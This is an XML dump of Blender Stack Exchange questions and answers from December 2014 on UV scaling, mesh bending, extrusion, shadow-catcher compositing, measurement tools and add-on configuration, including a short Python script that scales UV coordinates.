  <row Id="19761" PostTypeId="1" AcceptedAnswerId="19770" CreationDate="2014-12-10T00:01:25.077" Score="3" ViewCount="4275" Body="&lt;p&gt;I have created a simple mesh in blender 2.72 and created a UV map for the mesh for exporting to another engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all works and I can apply a texture to it in the third party engine but the scaling of the texture is not correct (it appears as image below does in blender without scaling UV map) ... this is because textures in the external application I would like to use are 1024x1024 and the UV map in blender by default is 1024x1024.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/udtds.png&quot; alt=&quot;UV Map Not Scaled&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After much investigation I have found that you can scale UV map very easily and I can achieve the scaled texture that Im looking for such as this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e9zLq.png&quot; alt=&quot;UV Map Scaled&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question relates to the imprecise nature of this scaling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to create many meshes to export with the same UV scaling so that the textures in the external application are all applied consistently (which I do) there does not seem to be a way to scale the UV map manually (i.e. provide manual scale parameters) you can only scale with the mouse in a haphazard way without knowing what the scale is other than eyeballing it in the 3d view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is this &lt;br/&gt;&#xA;a) the correct way of scaling my model so that textures are rendered the way I want and&lt;br/&gt; &#xA;b) if so can I specify the scaling manually for the UV map (i.e scale UV by 10.0)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been pulling my hair out on this one for some time&lt;/p&gt;&#xA;" OwnerUserId="8274" LastActivityDate="2014-12-10T19:58:21.650" Title="UV Map Scaling Issue" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19762" PostTypeId="1" AcceptedAnswerId="19763" CreationDate="2014-12-10T00:12:48.420" Score="2" ViewCount="18732" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gIqAX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gIqAX.png&quot; alt=&quot;bracelet object&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the above will be a bracelet, and I want it to wrap downwards symmetrically (as around a wrist / arm). I've tried a bunch of different things, and have gotten pretty close using the curve deform modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read up on how to use it, which is why the origin of the path is on it's first point and not in the center (otherwise the mesh leaps to line up to the left. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N4jFR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N4jFR.png&quot; alt=&quot;deformed with a curve modifier&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as you can see in front view, this drags my whole mesh to the right instead of staying locked around the Y axis for a nice symmetrical bend. I feel like there's probably something obvious that I'm missing but I can't find the answer anywhere - something to do with the origin maybe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you know of a better way of doing this then I'm all ears. &lt;/p&gt;&#xA;" OwnerUserId="8217" LastEditorUserId="2217" LastEditDate="2016-02-15T00:06:45.047" LastActivityDate="2017-07-18T19:24:19.113" Title="How to wrap / bend an object" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;workflow&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19763" PostTypeId="2" ParentId="19762" CreationDate="2014-12-10T00:31:14.860" Score="6" Body="&lt;p&gt;I'd use the Simple deform modifier.&lt;br&gt;&#xA;Add a bezier circle. Select the bracelet and go to the modifiers tab. Add a Simple deform modifier. Set it to bend and set the origin to the bezier circle. The bracelet will bend over the bezier circle's local Z axis, so you will have to rotate the circle. To get the result in the image below, I rotated the circle 90° around the global X axis. If I misinterpreted your description, you may have to rotate the circle differently. Once it bends the way you want it, change the angle. In the image below, I used 360°. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/um5hB.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I deleted the modifiers you had, except the subsurf. I did this for my convenience. I take it the curve modifier you had was the one you were using to get the bracelet to bend. If so, you should delete it. The order between the simple deform you already have and the one I'm suggesting makes a difference, and you will have to try to see which you want. You can change the order in which they are calculated by clicking the up and down arrows in the upper right corner of each modifier's config dialog.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2014-12-10T00:50:05.527" LastActivityDate="2014-12-10T00:50:05.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19764" PostTypeId="1" CreationDate="2014-12-10T03:16:45.913" Score="2" ViewCount="8534" Body="&lt;p&gt;Whenever I add an Object or import an SVG object, I am able to extrude it either by &lt;kbd&gt;E&lt;/kbd&gt; or by the extrude tool in object data, but I can't do that for a plane ( and just saw for a cube as well ). I get no options for it in the Object Data section nor does Pressing &lt;kbd&gt;E&lt;/kbd&gt; Extrude it.&#xA;What have I done wrong or not installed?&lt;/p&gt;&#xA;" OwnerUserId="8428" LastEditorUserId="2217" LastEditDate="2016-02-15T00:03:30.210" LastActivityDate="2018-02-23T04:30:22.157" Title="Unable to Extrude a Plane" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;extrude&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19765" PostTypeId="1" AcceptedAnswerId="107327" CreationDate="2014-12-10T04:27:17.473" Score="29" ViewCount="24346" Body="&lt;p&gt;I am superimposing CGI over video footage, and have run into a problem in making materials for objects that act as 'shadow catchers'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially I want a shader that is shadeless—like an emitter—but catches shadows and light from &lt;em&gt;other&lt;/em&gt; objects. This is so I can reconstruct objects in footage so other objects in the scene interact convincingly with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an overcomplicated diagram to illustrate my point:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kj2FJ.png&quot; alt=&quot;The problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(In this particular scenario, the problem could be glossed over by using RGB curves, but that is definitely not the case with more complicated scenes)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't this a common situation? How to the real guys do it? Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am welcome suggestions of other ways of doing this.)&lt;/p&gt;&#xA;" OwnerUserId="6326" LastActivityDate="2019-03-25T14:59:13.353" Title="Cycles: Shadeless &quot;Shadow-catcher&quot; Material for Rendering onto Footage" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;compositor&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="19766" PostTypeId="2" ParentId="19764" CreationDate="2014-12-10T04:30:56.103" Score="2" Body="&lt;p&gt;In order to edit an object, you must be in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Edit mode&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the mode in &lt;em&gt;3D view &gt; Header&lt;/em&gt;, or by pressing &lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gimvq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-12-10T04:30:56.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19767" PostTypeId="2" ParentId="19765" CreationDate="2014-12-10T07:53:51.510" Score="29" Body="&lt;ul&gt;&#xA;&lt;li&gt;Divide objects into 2 scene layers, move actors (Suzanne) onto layer 1, move backgrounds onto second layer, place lights into both of them.&lt;/li&gt;&#xA;&lt;li&gt;Setup 3 render layers - First for layer 1, second for layer 2 and third for layer 2 with layer 1 excluded:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gInvS.jpg&quot; alt=&quot;Scene render layers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Render it with transparent bacgrounds, it will produce results like this:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/297ab.jpg&quot; alt=&quot;Layer 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/74Iht.jpg&quot; alt=&quot;Layer 2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2SSFT.jpg&quot; alt=&quot;Layer 3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In compositor divide render layer 2 (BG_With_Shadow) with 3 (BG_Clean) - you now have a shadow to multiply over your backdrop and layer 1 to composite into backdrop:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DDDv0.png&quot; alt=&quot;Nodes&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DudIi.png&quot; alt=&quot;Shadow&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2017-02-07T22:27:57.370" LastActivityDate="2017-02-07T22:27:57.370" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19768" PostTypeId="1" CreationDate="2014-12-10T08:04:25.860" Score="4" ViewCount="1548" Body="&lt;p&gt;I've made a space scene, rendered it in cycles, and saved the animation frames as .png pictures. Than I used the Video Sequence Editor for making a video out of these pictures. But the result of the video isn't the same as the pictures are showing. It is more dark, the image texture of the spaceship looks also bad. And the light of the engines doesn't shine as bright as it was shown in the render view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does look like this, when I use the Video Sequence Editor just for making a video out of these photos.&#xA;                                                                                                       &lt;img src=&quot;https://i.stack.imgur.com/jDDXZ.jpg&quot; alt=&quot;image 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this it does look with Alpha on 2200 (the glowing lights are looking very bad)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bu3AF.jpg&quot; alt=&quot;image 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I want that it does look like this. When I render it, it does look like this, but not in the VSE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iIVSg.jpg&quot; alt=&quot;image 3&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8431" LastEditorUserId="7777" LastEditDate="2014-12-10T14:51:46.260" LastActivityDate="2015-01-07T20:58:22.093" Title="Color differs from Cycles render in Video Sequence Editor" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;video-sequence-editor&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19770" PostTypeId="2" ParentId="19761" CreationDate="2014-12-10T08:27:27.297" Score="5" Body="&lt;h2&gt;Manual precise UV scaling:&lt;/h2&gt;&#xA;&lt;p&gt;In UV editor place your 2d cursor in the desired center of scaling, you can place it precisely from Properties tab &lt;kbd&gt;N&lt;/kbd&gt;. In the header swith to 2d cursor pivot:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/En14U.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;br&gt;&#xA;Select UV vertices and enter transform mode with &lt;kbd&gt;S&lt;/kbd&gt;, in the header area type the exact number or an expression. You can constrain axes by &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Y&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Precise UV scaling of multiple selected objects:&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import Vector&#xA;&#xA;# center of scaling - edit this&#xA;pivot = Vector((0.0, 0.0))&#xA;# amount of scaling in each axis - edit this&#xA;amount = Vector((2.0, 2.0))&#xA;&#xA;for object in bpy.context.selected_objects:&#xA;    mesh = object.data&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(mesh)&#xA;    uv_layer = bm.loops.layers.uv.active&#xA;&#xA;    for face in bm.faces:&#xA;        for vert in face.loops:&#xA;            vert[uv_layer].uv -= pivot&#xA;            vert[uv_layer].uv.x *= amount.x&#xA;            vert[uv_layer].uv.y *= amount.y&#xA;            vert[uv_layer].uv += pivot&#xA;&#xA;    bm.to_mesh(mesh)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-10T19:58:21.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19771" PostTypeId="2" ParentId="19761" CreationDate="2014-12-10T09:48:26.903" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;can I specify the scaling manually for the UV map (i.e scale UV by&#xA;  10.0)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, press &lt;kbd&gt;S&lt;/kbd&gt;, type &lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;, press &lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, I would recommend on getting to know how the Texture Atlas Add-on works for multiple objects. It's especially suited for game texturing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://goo.gl/qfaARN&quot; rel=&quot;noreferrer&quot;&gt;http://goo.gl/qfaARN&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://goo.gl/l3b4ZS&quot; rel=&quot;noreferrer&quot;&gt;http://goo.gl/l3b4ZS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And with that, it's often useful to use 'Draw Other Objects' in the Image Viewer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O9I0I.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="8282" LastActivityDate="2014-12-10T09:48:26.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19772" PostTypeId="1" CreationDate="2014-12-10T10:14:05.080" Score="46" ViewCount="111457" Body="&lt;p&gt;I would like to measure the distance between the yellow points in this image: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n7q0y.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to cut the cube using the plane, but I must set a precise distance between the plane and the square's corner.&lt;/p&gt;&#xA;" OwnerUserId="8320" LastEditorUserId="1224" LastEditDate="2016-11-23T21:05:30.473" LastActivityDate="2019-12-15T21:56:13.400" Title="How do I measure a distance between two points?" Tags="&lt;objects&gt;&lt;transforms&gt;&lt;measurement&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="19773" PostTypeId="2" ParentId="19772" CreationDate="2014-12-10T10:50:35.813" Score="49" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/interface/ruler_protractor.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Ruler/Protractor&lt;/strong&gt;&lt;/a&gt;. As of &lt;strong&gt;Blender 2.80&lt;/strong&gt; the operator was renamed to &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/ruler_protractor.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Measure&lt;/strong&gt;&lt;/a&gt; but it acts like the same way. Good news is that the &lt;em&gt;Measure&lt;/em&gt; tool is now directly accessible from &lt;em&gt;3d View&lt;/em&gt; as part of the main &lt;em&gt;Tool Shelf&lt;/em&gt; (&lt;kbd&gt;T&lt;/kbd&gt;) and via &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Spacebar&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; hotkey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oSc0j.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oSc0j.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Measure (Blender 2.80) vs Ruler/Protractor (Blender 2.79)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you hold down &lt;kbd&gt;Ctrl&lt;/kbd&gt; while dragging the second marker, the cursor should snap to the &lt;strong&gt;intersection point&lt;/strong&gt; in order to measure the correct distance: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GBT3O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this you can also &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/3dview/object/editing/transform/control/snap.html&quot; rel=&quot;noreferrer&quot;&gt;snap&lt;/a&gt; to the edge of the cube and &lt;strong&gt;set the desired length&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hAzTQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that switch into &lt;em&gt;Edit Mode&lt;/em&gt; and insert a new &lt;em&gt;Edge Loop&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;) into the right spot: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C6YZQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; For illustration purposes I've chosen &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/3dview/navigate/projections.html&quot; rel=&quot;noreferrer&quot;&gt;Perspective Views&lt;/a&gt;, but &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/3dview/navigate/projections.html&quot; rel=&quot;noreferrer&quot;&gt;Orthographic Views&lt;/a&gt; probably more useful to work with in this situation.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2019-01-21T01:25:20.577" LastActivityDate="2019-01-21T01:25:20.577" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19774" PostTypeId="2" ParentId="19772" CreationDate="2014-12-10T11:44:57.667" Score="19" Body="&lt;p&gt;If the section of the cut-off happens to be an isosceles triangle, you can simply use Bevel tool to &quot;cut&quot; precisely.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; to bevel selected edge;&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;em&gt;Offset&lt;/em&gt; as bevel type, the amount is how much you want to cut off the edge.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9IUmG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If both lengths are different, you may consider manually translate or slide one of them after beveling.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another way to do this precisely is as follow: (I'll try to make a text version asap)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you want different offsets for both sides, one is &lt;strong&gt;0.5&lt;/strong&gt;, another one is &lt;strong&gt;0.3&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9mxd3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another related answer is worth to read:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/a/4894/696&quot;&gt;How to set a specific edge length numerically&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-12-11T04:07:16.887" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19775" PostTypeId="1" CreationDate="2014-12-10T14:03:06.817" Score="3" ViewCount="1465" Body="&lt;p&gt;Following the answers to my last posted question I incorporated the answers and reworked the exercise to create a 3D Logo.  This post shows what I did to make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p50SZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that I remade the closed complex shapes and pressed &quot;F&quot; to make a face on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l4ZG2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That worked fine, then after selecting everything I went to the Front Ortho view.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TZGo5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extrusion worked just fine.  But there are no Quad or Triangle faces&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8M9Cn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they needed?  How do I make them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Randy Van Nostrand&lt;/p&gt;&#xA;" OwnerUserId="8332" LastActivityDate="2014-12-11T13:41:04.830" Title="What is the reason to make quad or triangle faces on a surface?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19776" PostTypeId="1" CreationDate="2014-12-10T14:18:39.550" Score="1" ViewCount="123" Body="&lt;p&gt;I got very weird problem in my game which I am making. To make each level work correct with pause menus, I have made a pause menu for each of levels. I have set the sensors, controllers and actuators identic for each level, only with changing data about to which level switch...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oLfKv.png&quot; alt=&quot;Level 1&amp;#39;s Pause&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tHS3t.png&quot; alt=&quot;Level 2&amp;#39;s Pause&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you see, evrything fits- evrything is identic in each pause menu, just level links are changed... But this Menu works in 1. level (Pause), but does not work in 2. Level (Pause2). Why is it like that and how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2014-12-10T14:18:39.550" Title="Blender game bug with Pause menus" Tags="&lt;game-engine&gt;&lt;scene&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19777" PostTypeId="2" ParentId="19775" CreationDate="2014-12-10T14:46:15.333" Score="5" Body="&lt;p&gt;Right now your model consists of &lt;em&gt;ngons&lt;/em&gt;. In most cases it is better to have &lt;em&gt;quads&lt;/em&gt; than &lt;em&gt;ngons&lt;/em&gt; in your model (see this topic- it explains it nicely: &lt;a href=&quot;http://blog.digitaltutors.com/ngons-triangles-bad/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blog.digitaltutors.com/ngons-triangles-bad/&lt;/a&gt;).&#xA;To create them, select two vertices on the corner of your model and press &lt;kbd&gt;J&lt;/kbd&gt; to join them with edge. Repeat the process in other corners.&#xA; &lt;img src=&quot;https://i.stack.imgur.com/c9VOt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your model consist of &lt;em&gt;quads&lt;/em&gt;. You may add edge loops to your model to sharpen the edges (it would be impossible to do it having &lt;em&gt;ngons&lt;/em&gt;). Hover your cursor over model and press &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;). See the manual here: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Loop_Subdivide&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Loop_Subdivide&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YrNuZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2014-12-10T15:43:13.953" LastActivityDate="2014-12-10T15:43:13.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19779" PostTypeId="1" CreationDate="2014-12-10T15:15:12.443" Score="7" ViewCount="1294" Body="&lt;p&gt;I'm making an add-on that is supposed to take in a lot of user-decided configurations . I know I can create panels and stuff, but I'd prefer to create a configuration window that pops up and fills the entire screen, since there are too many options to select, and I also have to show some image thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This new window can have all my configuration options laid out in any way I want, and can take any size, and has a close button. It can be opened using some hotkey or button when the user wants to use my add on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is something like this possible?&lt;/p&gt;&#xA;" OwnerUserId="8438" LastActivityDate="2021-04-30T10:46:56.343" Title="Create a configuration window for my add on" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19781" PostTypeId="2" ParentId="19779" CreationDate="2014-12-10T16:10:08.290" Score="7" Body="&lt;p&gt;Add-ons can have their own user preferences.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.AddonPreferences.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/api/current/bpy.types.AddonPreferences.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This doesn't fill the entire window, but this is the intended way for your add-on to be configured.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="8108" LastEditDate="2021-04-30T10:46:56.343" LastActivityDate="2021-04-30T10:46:56.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19783" PostTypeId="2" ParentId="19772" CreationDate="2014-12-10T16:33:44.297" Score="8" Body="&lt;p&gt;There is an add_on called &lt;a href=&quot;http://www.macouno.com/commissions/caliper/&quot; rel=&quot;nofollow noreferrer&quot;&gt;caliper&lt;/a&gt; (see &lt;a href=&quot;https://blender.stackexchange.com/questions/13899/install-from-file-not-working-to-install-addon&quot;&gt;this&lt;/a&gt; on how to download and install) designed to measure things in blender. Very simple to use: it has two empties that you can position and it creates a text with the distance. Not very pretty... but useful...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rg3Dv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2016-11-28T17:18:38.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19784" PostTypeId="1" CreationDate="2014-12-10T16:36:30.177" Score="22" ViewCount="903" Body="&lt;p&gt;is it possible to trigger this kind of menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5XnUr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the property panel when I press a hotkey over a button/input field? I want to specifically,when the user presses a specific hotkey when over an input field, call a function that checks if this input field allows divers and if it does to show the user this kind of popup menu (which of course includes own function, etc.).&lt;/p&gt;&#xA;" OwnerUserId="8364" LastEditorUserId="5705" LastEditDate="2014-12-10T16:54:48.053" LastActivityDate="2014-12-10T16:54:48.053" Title="Property Panel Custom Popup Menu when user presses hotkey over an input field" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
